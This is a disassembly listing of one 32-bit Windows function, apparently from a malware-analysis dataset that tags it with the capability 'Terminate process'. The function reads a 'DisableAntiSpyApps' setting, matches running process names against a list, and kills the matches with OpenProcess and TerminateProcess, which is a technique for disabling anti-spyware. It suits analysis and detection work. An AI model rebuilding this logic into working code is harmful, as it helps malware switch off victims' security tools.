Function at 0x10010118
Capabilities:
Terminate process

Disassembly:
mov eax, 0x1018255f
call fcn.10098054
sub esp, 0x184
push ebx
push esi
push edi
call fcn.10005cf2
test eax, eax
jne 0x10010348
call fcn.10005d2f
test eax, eax
jne 0x10010348
call fcn.10005dd1
test eax, eax
jne 0x10010348
lea eax, [ebp - 0x18]
push eax
call fcn.10006a35
pop ecx
mov eax, dword [ebp - 0x18]
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp dword [eax - 8], ebx
jle 0x10010340
cmp dword [0x1028609c], ebx
je 0x10010340
mov al, byte [ebp - 0x11]
mov dword [ebp - 0x40], ebx
mov byte [ebp - 0x44], al
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x38], ebx
push 0xffff
push ecx
lea eax, [ebp - 0x18]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
mov byte [ebp - 4], 1
call fcn.1000472e
push ecx
mov byte [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x10], esp
push 0x1027fbfc
call fcn.100011a1
push ecx
mov byte [ebp - 4], 3
mov ecx, esp
mov dword [ebp - 0x58], esp
push str.Apps
call fcn.100011a1
push ecx
mov byte [ebp - 4], 4
mov ecx, esp
mov dword [ebp - 0x24], esp
push str.DisableAntiSpyApps
call fcn.100011a1
lea eax, [ebp - 0x1c]
mov byte [ebp - 4], 1
push eax
call fcn.10005135
add esp, 0x18
mov al, byte [ebp - 0x11]
mov dword [ebp - 0x30], ebx
mov byte [ebp - 0x34], al
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
push str.
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 6
call fcn.100011a1
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x34]
push eax
mov byte [ebp - 4], 7
push dword [ebp - 0x2c]
call fcn.10006fde
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 6
call fcn.10001469
lea eax, [ebp - 0x34]
push 1
push eax
lea eax, [ebp - 0x44]
push eax
push ecx
lea eax, [ebp - 0x1c]
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.1000472e
call fcn.10006226
add esp, 0x10
lea ecx, [ebp - 0x34]
call fcn.10006f9a
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 1
call fcn.10001469
lea eax, [ebp - 0x54]
push eax
call fcn.10010357
pop ecx
mov eax, dword [ebp - 0x50]
mov byte [ebp - 4], 8
mov dword [ebp - 0x10], eax
cmp eax, dword [ebp - 0x4c]
je 0x1001032c
mov eax, dword [ebp - 0x10]
push 0x4a
pop ecx
mov esi, eax
lea edi, [ebp - 0x190]
add eax, 0x128
rep movsd dword es:[edi], dword [esi]
push eax
lea ecx, [ebp - 0x68]
call fcn.1001070c
mov eax, dword [ebp - 0x64]
lea ecx, [ebp - 0x1c]
add eax, 0x120
mov byte [ebp - 4], 9
push eax
call fcn.100011a1
xor edi, edi
mov eax, dword [ebp - 0x40]
cmp eax, ebx
je 0x10010309
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
sar ecx, 2
cmp edi, ecx
jae 0x10010309
push dword [eax + edi*4]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10010306
push dword [ebp - 0x188]
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x10010306
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x20]
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
jmp 0x100102b2
lea ecx, [ebp - 0x1c]
call fcn.10001469
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 8
call fcn.1001077f
add dword [ebp - 0x10], 0x138
mov eax, dword [ebp - 0x10]
jmp 0x10010274
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 1
call fcn.1001081b
lea ecx, [ebp - 0x44]
call fcn.10006f9a
lea ecx, [ebp - 0x18]
call fcn.10001469
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret